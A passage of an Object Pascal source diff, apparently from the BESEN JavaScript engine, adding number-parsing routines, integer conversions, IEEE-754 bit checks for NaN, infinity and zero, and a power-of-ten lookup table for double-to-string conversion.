Negative:=StringValue[i]='-'; + inc(i); + end else begin + Negative:=false; + end; + if ((i+7)<=length(StringValue)) and ((StringValue[i]='I') and (StringValue[i+1]='n') and (StringValue[i+2]='f') and (StringValue[i+3]='i') and (StringValue[i+4]='n') and (StringValue[i+5]='i') and (StringValue[i+6]='t') and (StringValue[i+7]='y')) then begin + if Negative then begin + ResultCasted^.Hi:=$fff00000; + ResultCasted^.Lo:=$00000000; + end else begin + ResultCasted^.Hi:=$7ff00000; + ResultCasted^.Lo:=$00000000; + end; + end else if ((i+2)<=length(StringValue)) and ((StringValue[i]='N') and (StringValue[i+1]='a') and (StringValue[i+2]='N')) then begin + ResultCasted^.Hi:=$7ff80000; + ResultCasted^.Lo:=$00000000; + end else begin + FractionalDigits:=0; + FractionalExponent:=0; + MantissaSize:=0; + Mantissa:=0; + HasDigits:=false; + ExponentSign:=1; + Exponent:=0; + while i<=length(StringValue) do begin + case word(widechar(StringValue[i])) of + ord('0'):begin + HasDigits:=true; + inc(i); + end; + else begin + break; + end; + end; + end; + while i<=length(StringValue) do begin + case word(widechar(StringValue[i])) of + ord('0')..ord('9'):begin + if MantissaSize<18 then begin + Mantissa:=(Mantissa*10)+(word(widechar(StringValue[i]))-ord('0')); + end; + inc(MantissaSize); + HasDigits:=true; + inc(i); + end; + else begin + break; + end; + end; + end; + if (i<=length(StringValue)) and (StringValue[i]='.') then begin + inc(i); + if (MantissaSize=0) and (Mantissa=0) then begin + while i<=length(StringValue) do begin + case word(widechar(StringValue[i])) of + ord('0'):begin + inc(FractionalExponent); + HasDigits:=true; + inc(i); + end; + else begin + break; + end; + end; + end; + end; + while i<=length(StringValue) do begin + case word(widechar(StringValue[i])) of + ord('0')..ord('9'):begin + if MantissaSize<18 then begin + Mantissa:=(Mantissa*10)+(word(widechar(StringValue[i]))-ord('0')); + inc(MantissaSize); + inc(FractionalDigits); + end; + HasDigits:=true; + inc(i); + end; + else begin + break; + end; + end; + end; + end; + if HasDigits then begin + if (i<=length(StringValue)) and ((StringValue[i]='e') or (StringValue[i]='E')) then begin + inc(i); + if (i<=length(StringValue)) and ((StringValue[i]='+') or (StringValue[i]='-')) then begin + if StringValue[i]='-' then begin + ExponentSign:=-1; + end; + inc(i); + end; + HasDigits:=false; + while i<=length(StringValue) do begin + case word(widechar(StringValue[i])) of + ord('0')..ord('9'):begin + Exponent:=(Exponent*10)+integer(word(widechar(StringValue[i]))-ord('0')); + HasDigits:=true; + inc(i); + end; + else begin + break; + end; + end; + end; + end; + if HasDigits then begin + +{$ifndef BESENNoFPU} + case RoundingMode of + BESEN_ROUND_TO_NEAREST:begin + NewFPURoundingMode:=rmNearest; + end; + BESEN_ROUND_TOWARD_ZERO:begin + NewFPURoundingMode:=rmTruncate; + end; + BESEN_ROUND_UPWARD:begin + NewFPURoundingMode:=rmUp; + end; + BESEN_ROUND_DOWNWARD:begin + NewFPURoundingMode:=rmDown; + end; + else begin + NewFPURoundingMode:=rmNearest; + end; + end; + + OldFPUExceptionMask:=GetExceptionMask; + OldFPURoundingMode:=GetRoundMode; + OldFPUPrecisionMode:=GetPrecisionMode; +{$endif} + try +{$ifndef BESENNoFPU} + if OldFPUExceptionMask<>BESENFPUExceptionMask then begin + SetExceptionMask(BESENFPUExceptionMask); + end; + if OldFPURoundingMode<>NewFPURoundingMode then begin + SetRoundMode(NewFPURoundingMode); + end; + if OldFPUPrecisionMode<>BESENFPUPrecisionMode then begin + SetPrecisionMode(BESENFPUPrecisionMode); + end; +{$endif} + + FloatValue:=Mantissa; + + MantissaExponent:=FractionalDigits+FractionalExponent; + if MantissaSize>18 then begin + dec(MantissaExponent,MantissaSize-18); + end; + + if ExponentSign>0 then begin + dec(Exponent,MantissaExponent); + end else begin + inc(Exponent,MantissaExponent); + end; + if Exponent<0 then begin + ExponentSign:=-ExponentSign; + Exponent:=-Exponent; + end; + + while Exponent>0 do begin + PartExponent:=Exponent; + if PartExponent>MaxExponentOfTenMinusTwo then begin + PartExponent:=MaxExponentOfTenMinusTwo; + end; + dec(Exponent,PartExponent); + + Index:=0; + ExponentFactor:=1; + while (PartExponent<>0) and (Index<length(PowersOfTen)) do begin + if (PartExponent and 1)<>0 then begin + ExponentFactor:=ExponentFactor*PowersOfTen[Index]; + end; + inc(Index); + PartExponent:=PartExponent shr 1; + end; + + if ExponentSign>0 then begin + FloatValue:=FloatValue*ExponentFactor; + end else begin + FloatValue:=FloatValue/ExponentFactor; + end; + end; + + ResultCasted^.Value:=FloatValue; + if Negative then begin + ResultCasted^.Hi:=ResultCasted^.Hi or $80000000; + end; + finally +{$ifndef BESENNoFPU} + if OldFPUExceptionMask<>BESENFPUExceptionMask then begin + SetExceptionMask(OldFPUExceptionMask); + end; + if OldFPURoundingMode<>NewFPURoundingMode then begin + SetRoundMode(OldFPURoundingMode); + end; + if OldFPUPrecisionMode<>BESENFPUPrecisionMode then begin + SetPrecisionMode(OldFPUPrecisionMode); + end; +{$endif} + end; + end; + end; + end; +end; + +function BESENStringToDouble(const StringValue:TBESENString):double; +var OK:longbool; +begin + OK:=false; + result:=BESENStringToDoubleExact(StringValue,BESEN_ROUND_TO_NEAREST,-1,@OK); + if not OK Then begin + result:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end; +end; + +function BESENCheckNumberString(const StringValue:TBESENString;var StartPosition,EndPosition:integer;IsParseFloat,AcceptHex,OnlyNumber,AcceptHexSign:boolean):integer; +var i,OldPosition:integer; + Negative,HasDigits,HasSign:boolean; +begin + result:=BESEN_CHECKNUMBERSTRING_FAIL; + i:=1; + while (i<=length(StringValue)) and (BESENUnicodeIsStringWhiteSpace(word(widechar(StringValue[i])))) do begin + inc(i); + end; + StartPosition:=i; + EndPosition:=i; + if (i<=length(StringValue)) and ((StringValue[i]='-') or (StringValue[i]='+')) then begin + Negative:=StringValue[i]='-'; + HasSign:=true; + inc(i); + end else begin + Negative:=false; + HasSign:=false; + end; + if i>length(StringValue) then begin + result:=BESEN_CHECKNUMBERSTRING_EMPTY; + end else if ((i+7)<=length(StringValue)) and ((StringValue[i]='I') and (StringValue[i+1]='n') and (StringValue[i+2]='f') and (StringValue[i+3]='i') and (StringValue[i+4]='n') and (StringValue[i+5]='i') and (StringValue[i+6]='t') and (StringValue[i+7]='y')) then begin + EndPosition:=i+7; + if Negative then begin + result:=BESEN_CHECKNUMBERSTRING_INFNEG; + end else begin + result:=BESEN_CHECKNUMBERSTRING_INFPOS; + end; + end else if ((i+2)<=length(StringValue)) and ((StringValue[i]='N') and (StringValue[i+1]='a') and (StringValue[i+2]='N')) then begin + EndPosition:=i+2; + result:=BESEN_CHECKNUMBERSTRING_NAN; + end else begin + HasDigits:=false; + if (i<=length(StringValue)) and (StringValue[i]='0') then begin + inc(i); + HasDigits:=true; + if (i<=length(StringValue)) and ((StringValue[i]='x') or (StringValue[i]='X')) then begin + inc(i); + HasDigits:=false; + while i<=length(StringValue) do begin + case word(widechar(StringValue[i])) of + ord('0')..ord('9'),ord('a')..ord('f'),ord('A')..ord('F'):begin + HasDigits:=true; + inc(i); + end; + else begin + break; + end; + end; + end; + if HasDigits then begin + EndPosition:=i-1; + if AcceptHex and (AcceptHexSign or not HasSign) then begin + result:=BESEN_CHECKNUMBERSTRING_VALID; + end else begin + result:=BESEN_CHECKNUMBERSTRING_FAIL; + end; + end; + exit; + end; + end; + while i<=length(StringValue) do begin + case word(widechar(StringValue[i])) of + ord('0')..ord('9'):begin + HasDigits:=true; + inc(i); + end; + else begin + break; + end; + end; + end; + if (i<=length(StringValue)) and (StringValue[i]='.') then begin + inc(i); + while i<=length(StringValue) do begin + case word(widechar(StringValue[i])) of + ord('0')..ord('9'):begin + HasDigits:=true; + inc(i); + end; + else begin + break; + end; + end; + end; + end; + if HasDigits then begin + OldPosition:=i; + if (i<=length(StringValue)) and ((StringValue[i]='e') or (StringValue[i]='E')) then begin + inc(i); + if (i<=length(StringValue)) and ((StringValue[i]='+') or (StringValue[i]='-')) then begin + inc(i); + end; + HasDigits:=false; + while i<=length(StringValue) do begin + case word(widechar(StringValue[i])) of + ord('0')..ord('9'):begin + HasDigits:=true; + inc(i); + end; + else begin + break; + end; + end; + end; + if IsParseFloat and not HasDigits then begin + i:=OldPosition; + HasDigits:=true; + end; + end; + if HasDigits then begin + EndPosition:=i-1; + if OnlyNumber then begin + while (i<=length(StringValue)) and (BESENUnicodeIsStringWhiteSpace(word(widechar(StringValue[i])))) do begin + inc(i); + end; + if i>length(StringValue) then begin + result:=BESEN_CHECKNUMBERSTRING_VALID; + end else begin + result:=BESEN_CHECKNUMBERSTRING_FAIL; + end; + end else begin + result:=BESEN_CHECKNUMBERSTRING_VALID; + end; + end; + end; + end; +end; + +function BESENStringToNumber(const StringValue:TBESENString;EmptyIsValid:TBESENBoolean=true;AcceptHex:TBESENBoolean=false;OnlyNumber:boolean=false;AcceptHexSign:boolean=true):TBESENNumber; +var StartPosition,EndPosition:integer; +begin + case BESENCheckNumberString(StringValue,StartPosition,EndPosition,false,AcceptHex,OnlyNumber,AcceptHexSign) of + BESEN_CHECKNUMBERSTRING_EMPTY:begin + if EmptyIsValid then begin + result:=0; + end else begin + result:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end; + end; + BESEN_CHECKNUMBERSTRING_VALID:begin + result:=BESENStringToDouble(copy(StringValue,StartPosition,(EndPosition-StartPosition)+1)); + end; + BESEN_CHECKNUMBERSTRING_INFNEG:begin + result:=TBESENNumber(pointer(@BESENDoubleInfNeg)^); + end; + BESEN_CHECKNUMBERSTRING_INFPOS:begin + result:=TBESENNumber(pointer(@BESENDoubleInfPos)^); + end; + else begin + // CHECKNUMBERSTRING_FAIL,CHECKNUMBERSTRING_NAN + result:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end; + end; +end; + +function BESENStringToNumberBase(const StringValue:TBESENString;Base:longint):TBESENNumber; +var OK:longbool; +begin + case Base of + 10:begin + result:=BESENStringToDouble(StringValue); + end; + else begin + OK:=false; + result:=BESENStringToDoubleExact(StringValue,BESEN_ROUND_TO_NEAREST,Base,@OK); + if not OK Then begin + result:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end; + end; + end; +end; + +function BESENSameValue(const A,B:TBESENNumber):boolean; + function min(a,b:TBESENNumber):TBESENNumber; + begin + if a<b then begin + result:=a; + end else begin + result:=b; + end; + end; + function max(a,b:TBESENNumber):TBESENNumber; + begin + if a>b then begin + result:=a; + end else begin + result:=b; + end; + end; +const FuzzFactor=1000; + DoubleResolution=1E-15*FuzzFactor; +var Epsilon:TBESENNumber; +begin + if int64(pointer(@A)^)=int64(pointer(@B)^) then begin + result:=true; + end else begin + Epsilon:=max(min(abs(A),abs(B))*DoubleResolution,DoubleResolution); + if A>B then begin + result:=(A-B)<=Epsilon; + end else begin + result:=(B-A)<=Epsilon; + end; + end; +end; + +function BESENSameNumber(const A,B:TBESENNumber):boolean; + function min(a,b:TBESENNumber):TBESENNumber; + begin + if a<b then begin + result:=a; + end else begin + result:=b; + end; + end; + function max(a,b:TBESENNumber):TBESENNumber; + begin + if a>b then begin + result:=a; + end else begin + result:=b; + end; + end; +const FuzzFactor=1000; + DoubleResolution=1E-15*FuzzFactor; +var Epsilon:TBESENNumber; +begin + if int64(pointer(@A)^)=int64(pointer(@B)^) then begin + result:=true; + end else if BESENIsNaN(A) and BESENIsNaN(B) then begin + result:=true; + end else if (abs(A)=0) and (abs(B)=0) then begin + result:=(int64(pointer(@A)^) shr 63)=(int64(pointer(@B)^) shr 63); + end else begin + Epsilon:=max(min(abs(A),abs(B))*DoubleResolution,DoubleResolution); + if A>B then begin + result:=(A-B)<=Epsilon; + end else begin + result:=(B-A)<=Epsilon; + end; + end; +end; + +function BESENFloor(FloatValue:TBESENNumber):TBESENNumber; {$ifdef caninline}inline;{$endif} +begin + result:=System.int(FloatValue); + if System.frac(FloatValue)<0 then begin + result:=result-1; + end; +end; + +function BESENCeil(FloatValue:TBESENNumber):TBESENNumber; {$ifdef caninline}inline;{$endif} +begin + result:=System.int(FloatValue); + if System.frac(FloatValue)>0 then begin + result:=result+1; + end; +end; + +function BESENToInt(v:TBESENNumber):TBESENINT64; +begin + result:=trunc(v); +end; + +function BESENToInt32(v:TBESENNumber):TBESENINT32; +var Sign:longword; +begin + if BESENIsNaN(v) or BESENIsInfinite(v) or BESENIsZero(v) then begin + v:=0.0; + end else begin + Sign:=PBESENDoubleHiLo(@v)^.Hi and $80000000; + PBESENDoubleHiLo(@v)^.Hi:=PBESENDoubleHiLo(@v)^.Hi and $7fffffff; + v:=BESENFloor(v); + PBESENDoubleHiLo(@v)^.Hi:=PBESENDoubleHiLo(@v)^.Hi or Sign; + v:=BESENModulo(System.int(v),4294967296.0); + if (PBESENDoubleHiLo(@v)^.Hi and $80000000)<>0 then begin + v:=v+4294967296.0; + end; + if v>=2147483648.0 then begin + v:=v-4294967296.0; + end; + end; + result:=trunc(v); +end; + +function BESENToUInt32(v:TBESENNumber):TBESENUINT32; +var Sign:longword; +begin + if BESENIsNaN(v) or BESENIsInfinite(v) or BESENIsZero(v) then begin + v:=0.0; + end else begin + Sign:=PBESENDoubleHiLo(@v)^.Hi and $80000000; + PBESENDoubleHiLo(@v)^.Hi:=PBESENDoubleHiLo(@v)^.Hi and $7fffffff; + v:=BESENFloor(v); + PBESENDoubleHiLo(@v)^.Hi:=PBESENDoubleHiLo(@v)^.Hi or Sign; + v:=BESENModulo(System.int(v),4294967296.0); + if (PBESENDoubleHiLo(@v)^.Hi and $80000000)<>0 then begin + v:=v+4294967296.0; + end; + end; + result:=trunc(v); +end; + +function BESENToInt16(v:TBESENNumber):TBESENINT32; +var Sign:longword; +begin + if BESENIsNaN(v) or BESENIsInfinite(v) or BESENIsZero(v) then begin + v:=0.0; + end else begin + Sign:=PBESENDoubleHiLo(@v)^.Hi and $80000000; + PBESENDoubleHiLo(@v)^.Hi:=PBESENDoubleHiLo(@v)^.Hi and $7fffffff; + v:=BESENFloor(v); + PBESENDoubleHiLo(@v)^.Hi:=PBESENDoubleHiLo(@v)^.Hi or Sign; + v:=BESENModulo(System.int(v),65536.0); + if (PBESENDoubleHiLo(@v)^.Hi and $80000000)<>0 then begin + v:=v+65536.0; + end; + if v>=32768.0 then begin + v:=v-65536.0; + end; + end; + result:=trunc(v); +end; + +function BESENToUInt16(v:TBESENNumber):TBESENUINT32; +var Sign:longword; +begin + if BESENIsNaN(v) or BESENIsInfinite(v) or BESENIsZero(v) then begin + v:=0.0; + end else begin + Sign:=PBESENDoubleHiLo(@v)^.Hi and $80000000; + PBESENDoubleHiLo(@v)^.Hi:=PBESENDoubleHiLo(@v)^.Hi and $7fffffff; + v:=BESENFloor(v); + PBESENDoubleHiLo(@v)^.Hi:=PBESENDoubleHiLo(@v)^.Hi or Sign; + v:=BESENModulo(System.int(v),65536.0); + if (PBESENDoubleHiLo(@v)^.Hi and $80000000)<>0 then begin + v:=v+65536.0; + end; + end; + result:=trunc(v); +end; + +function BESENToIntFast(v:PBESENNumber):TBESENINT64; {$ifdef UseRegister}register;{$endif}{$ifdef caninline}inline;{$endif} +begin + result:=trunc(v^); +end; + +function BESENToInt32Fast(v:PBESENNumber):TBESENINT32; {$ifdef UseRegister}register;{$endif}{$ifdef caninline}inline;{$endif} +begin + if not ((v^>=2147483648.0) and (v^<2147483648.0)) then begin + result:=BESENToInt32(v^); + end else begin + result:=trunc(v^); + end; +end; + +function BESENToUInt32Fast(v:PBESENNumber):TBESENUINT32; {$ifdef UseRegister}register;{$endif}{$ifdef caninline}inline;{$endif} +begin + if not ((v^>=0.0) and (v^<4294967296.0)) then begin + result:=BESENToUInt32(v^); + end else begin + result:=int64(trunc(v^)); + end; +end; + +function BESENToInt16Fast(v:PBESENNumber):TBESENINT32; {$ifdef UseRegister}register;{$endif}{$ifdef caninline}inline;{$endif} +begin + if not ((v^>=-32768.0) and (v^<32768.0)) then begin + result:=BESENToInt16(v^); + end else begin + result:=trunc(v^); + end; +end; + +function BESENToUInt16Fast(v:PBESENNumber):TBESENUINT32; {$ifdef UseRegister}register;{$endif}{$ifdef caninline}inline;{$endif} +begin + if not ((v^>=0.0) and (v^<65536.0)) then begin + result:=BESENToUInt16(v^); + end else begin + result:=trunc(v^); + end; +end; + +function BESENIntLog2(x:longword):longword; {$ifdef cpu386}assembler; register; +asm + test eax,eax + jz @Done + bsr eax,eax + @Done: +end; +{$else} +begin + x:=x or (x shr 1); + x:=x or (x shr 2); + x:=x or (x shr 4); + x:=x or (x shr 8); + x:=x or (x shr 16); + x:=x shr 1; + x:=x-((x shr 1) and $55555555); + x:=((x shr 2) and $33333333)+(x and $33333333); + x:=((x shr 4)+x) and $0f0f0f0f; + x:=x+(x shr 8); + x:=x+(x shr 16); + result:=x and $3f; +end; +{$endif} + +{$ifdef cpu64} +function BESENIsNaN(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=((PBESENINT64(@AValue)^ and $7ff0000000000000)=$7ff0000000000000) and ((PBESENINT64(@AValue)^ and $000fffffffffffff)<>$0000000000000000); +end; + +function BESENIsInfinite(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=(PBESENINT64(@AValue)^ and $7fffffffffffffff)=$7ff0000000000000; +end; + +function BESENIsFinite(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=(PBESENINT64(@AValue)^ and $7ff0000000000000)<>$7ff0000000000000; +end; + +function BESENIsPosInfinite(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=PBESENINT64(@AValue)^=int64($7ff0000000000000); +end; + +function BESENIsNegInfinite(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin +{$ifdef fpc} + result:=qword(pointer(@AValue)^)=qword($fff0000000000000); +{$else} + result:=PBESENINT64(@AValue)^=int64($fff0000000000000); +{$endif} +end; + +function BESENIsPosZero(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=PBESENINT64(@AValue)^=int64($0000000000000000); +end; + +function BESENIsNegZero(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin +{$ifdef fpc} + result:=qword(pointer(@AValue)^)=qword($8000000000000000); +{$else} + result:=PBESENINT64(@AValue)^=int64($8000000000000000); +{$endif} +end; + +function BESENIsZero(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin +{$ifdef fpc} + result:=(qword(pointer(@AValue)^) and qword($7fffffffffffffff))=qword($0000000000000000); +{$else} + result:=(PBESENINT64(@AValue)^ and int64($7fffffffffffffff))=int64($0000000000000000); +{$endif} +end; + +function BESENIsNegative(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin +{$ifdef fpc} + result:=(qword(pointer(@AValue)^) and qword($8000000000000000))<>0; +{$else} + result:=(PBESENINT64(@AValue)^ shr 63)<>0; +{$endif} +end; +{$else} +{$ifdef TrickyNumberChecks} +function BESENIsNaN(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +var l:longword; +begin + l:=PBESENDoubleHiLo(@AValue)^.Lo; + result:=(longword($7ff00000-longword(longword(PBESENDoubleHiLo(@AValue)^.Hi and $7fffffff) or ((l or (-l)) shr 31))) shr 31)<>0; +end; + +function BESENIsInfinite(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=longword((longword(PBESENDoubleHiLo(@AValue)^.Hi and $7fffffff) xor $7ff00000) or PBESENDoubleHiLo(@AValue)^.Lo)=0; +end; + +function BESENIsFinite(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=(longword((PBESENDoubleHiLo(@AValue)^.Hi and $7fffffff)-$7ff00000) shr 31)<>0; +end; + +function BESENIsPosInfinite(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +var h:longword; +begin + h:=PBESENDoubleHiLo(@AValue)^.Hi; + result:=longword(((longword(h and $7fffffff) xor $7ff00000) or PBESENDoubleHiLo(@AValue)^.Lo) or longword(h shr 31))=0; +end; + +function BESENIsNegInfinite(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +var h:longword; +begin + h:=PBESENDoubleHiLo(@AValue)^.Hi; + result:=longword(((longword(h and $7fffffff) xor $7ff00000) or PBESENDoubleHiLo(@AValue)^.Lo) or longword(longword(not h) shr 31))=0; +end; + +function BESENIsPosZero(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +var h:longword; +begin + h:=PBESENDoubleHiLo(@AValue)^.Hi; + result:=longword(longword(longword(h and $7fffffff) or PBESENDoubleHiLo(@AValue)^.Lo) or longword(h shr 31))=0; +end; + +function BESENIsNegZero(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +var h:longword; +begin + h:=PBESENDoubleHiLo(@AValue)^.Hi; + result:=longword(longword(longword(h and $7fffffff) or PBESENDoubleHiLo(@AValue)^.Lo) or longword(longword(not h) shr 31))=0; +end; + +function BESENIsZero(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=longword(longword(PBESENDoubleHiLo(@AValue)^.Hi and $7fffffff) or PBESENDoubleHiLo(@AValue)^.Lo)=0; +end; + +function BESENIsNegative(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=longword(PBESENDoubleHiLo(@AValue)^.Hi and longword($80000000))<>0; +end; +{$else} +function BESENIsNaN(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=((PBESENDoubleHiLo(@AValue)^.Hi and $7ff00000)=$7ff00000) and (((PBESENDoubleHiLo(@AValue)^.Hi and $000fffff) or PBESENDoubleHiLo(@AValue)^.Lo)<>0); +end; + +function BESENIsInfinite(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=((PBESENDoubleHiLo(@AValue)^.Hi and $7fffffff)=$7ff00000) and (PBESENDoubleHiLo(@AValue)^.Lo=0); +end; + +function BESENIsFinite(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=(PBESENDoubleHiLo(@AValue)^.Hi and $7ff00000)<>$7ff00000; +end; + +function BESENIsPosInfinite(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=(PBESENDoubleHiLo(@AValue)^.Hi=$7ff00000) and (PBESENDoubleHiLo(@AValue)^.Lo=0); +end; + +function BESENIsNegInfinite(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=(PBESENDoubleHiLo(@AValue)^.Hi=$fff00000) and (PBESENDoubleHiLo(@AValue)^.Lo=0); +end; + +function BESENIsPosZero(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=(PBESENDoubleHiLo(@AValue)^.Hi or PBESENDoubleHiLo(@AValue)^.Lo)=0; +end; + +function BESENIsNegZero(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=(PBESENDoubleHiLo(@AValue)^.Hi=$80000000) and (PBESENDoubleHiLo(@AValue)^.Lo=0); +end; + +function BESENIsZero(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=((PBESENDoubleHiLo(@AValue)^.Hi and $7fffffff) or PBESENDoubleHiLo(@AValue)^.Lo)=0; +end; + +function BESENIsNegative(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=(PBESENDoubleHiLo(@AValue)^.Hi and $80000000)<>0; +end; +{$endif} +{$endif} + +function BESENNumberAbsolute(const AValue:TBESENNumber):TBESENNumber; {$ifdef caninline}inline;{$endif} +begin +{$ifdef cpu64} + PBESENINT64(@result)^:=PBESENINT64(@AValue)^ and $7fffffffffffffff; +{$else} + PBESENDoubleHiLo(@result)^.Hi:=PBESENDoubleHiLo(@AValue)^.Hi and $7fffffff; + PBESENDoubleHiLo(@result)^.Lo:=PBESENDoubleHiLo(@AValue)^.Lo; +{$endif} +end; + +function BESENIsSameValue(const a,b:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +begin +{$ifdef fpc} + result:=qword(pointer(@a)^)=qword(pointer(@b)^); +{$else} + result:=PBESENINT64(@a)^=PBESENINT64(@b)^; +{$endif} +end; + +function BESENModulo(x,y:double):double;{$ifdef cpu386}stdcall; assembler; +asm + fld qword ptr y + fld qword ptr x + @Repeat: + fprem + fstsw ax + sahf + jp @Repeat + fstp st(1) +end; +{$else} +begin + result:=x-(BESENFloor(x/y)*y); +end; +{$endif} + +function BESENModuloPos(x,y:double):double; +begin + result:=BESENModulo(x,y); + if BESENIsNegative(result) then begin + result:=result+y; + end; +end; + +const BESENDoubleToStringPowerOfTenTable:array[0..86,0..2] of int64=((int64($fa8fd5a0081c0288),-1220,-348), + (int64($baaee17fa23ebf76),-1193,-340), + (int64($8b16fb203055ac76),-1166,-332), + (int64($cf42894a5dce35ea),-1140,-324), + (int64($9a6bb0aa55653b2d),-1113,-316), + (int64($e61acf033d1a45df),-1087,-308), + (int64($ab70fe17c79ac6ca),-1060,-300), + (int64($ff77b1fcbebcdc4f),-1034,-292), + (int64($be5691ef416bd60c),-1007,-284), + (int64($8dd01fad907ffc3c),-980,-276), + (int64($d3515c2831559a83),-954,-268), + (int64($9d71ac8fada6c9b5),-927,-260), + (int64($ea9c227723ee8bcb),-901,-252), + (int64($aecc49914078536d),-874,-244), + (int64($823c12795db6ce57),-847,-236), + (int64($c21094364dfb5637),-821,-228), + (int64($9096ea6f3848984f),-794,-220), + (int64($d77485cb25823ac7),-768,-212), + (int64($a086cfcd97bf97f4),-741,-204), + (int64($ef340a98172aace5),-715,-196), + (int64($b23867fb2a35b28e),-688,-188), + (int64($84c8d4dfd2c63f3b),-661,-180), + (int64($c5dd44271ad3cdba),-635,-172), + (int64($936b9fcebb25c996),-608,-164), + (int64($dbac6c247d62a584),-582,-156), + (int64($a3ab66580d5fdaf6),-555,-148), + (int64($f3e2f893dec3f126),-529,-140), + (int64($b5b5ada8aaff80b8),-502,-132), + (int64($87625f056c7c4a8b),-475,-124), + (int64($c9bcff6034c13053),-449,-116), + (int64($964e858c91ba2655),-422,-108), + (int64($dff9772470297ebd),-396,-100), + (int64($a6dfbd9fb8e5b88f),-369,-92), + (int64($f8a95fcf88747d94),-343,-84), + (int64($b94470938fa89bcf),-316,-76), + (int64($8a08f0f8bf0f156b),-289,-68), + (int64($cdb02555653131b6),-263,-60), + (int64($993fe2c6d07b7fac),-236,-52), + (int64($e45c10c42a2b3b06),-210,-44), + (int64($aa242499697392d3),-183,-36), + (int64($fd87b5f28300ca0e),-157,-28), + (int64($bce5086492111aeb),-130,-20), + (int64($8cbccc096f5088cc),-103,-12), + (int64($d1b71758e219652c),-77,-4), + (int64($9c40000000000000),-50,4), + (int64($e8d4a51000000000),-24,12), + (int64($ad78ebc5ac620000),3,20), + (int64($813f3978f8940984),30,28), + (int64($c097ce7bc90715b3),56,36), + (int64($8f7e32ce7bea5c70),83,44), + (int64($d5d238a4abe98068),109,52), + (int64($9f4f2726179a2245),136,60), + (int64($ed63a231d4c4fb27),162,68), + (int64($b0de65388cc8ada8),189,76), + (int64($83c7088e1aab65db),216,84), + (int64($c45d1df942711d9a),242,92), + (int64($924d692ca61be758),269,100), + (int64($da01ee641a708dea),295,108), + (int64($a26da3999aef774a),322,116), + (int64($f209787bb47d6b85),348,124), + (int64($b454e4a179dd1877),375,132), + (int64($865b86925b9bc5c2),402,140), + (int64($c83553c5c8965d3d),428,148), + (int64($952ab45cfa97a0b3),455,156), + (int64($de469fbd99a05fe3),481,164), + (int64($a59bc234db398c25),508,172), + (int64($f6c69a72a3989f5c),534,180), + (int64($b7dcbf5354e9bece),561,188), + (int64($88fcf317f22241e2),588,196), + (int64($cc20ce9bd35c78a5),614,204), + (int64($98165af37b2153df),641,212), + (int64($e2a0b5dc971f303a),667,220), + (int64($a8d9d1535ce3b396),694,228), + (int64($fb9b7cd9a4a7443c),720,236), + (int64($bb764c4ca7a44410),747,244), + (int64($8bab8eefb6409c1a),774,252), + (int64($d01fef10a657842c),800,260), + (int64($9b10a4e5e9913129),827,268), + (int64($e7109bfba19c0c9d),853,276), + (int64($ac2820d9623bf429),880,284), + (int64($80444b5e7aa7cf85),907,292), + (int64($bf21e44003acdd2d),933,300), + (int64($8e679c2f5e44ff8f),960,308), + (int64($d433179d9c8cb841),986,316), + (int64($9e19db92b4e31ba9),1013,324), + (int64($eb96bf6ebadf77d9),1039,332), + (int64($af87023b9bf0ee6b),1066,340)); + + BESENDoubleToStringPowerOfTenBinaryExponentTable:array[-1220..(1066+27)-1] of byte=(0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, + 1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2, + 2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2, + 2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3, + 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3, + 3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4, + 4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5, + 5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5, + 5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6, + 6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6, + 6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, + 7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8, + 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, + 8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9, + 9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9, + 9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10, + 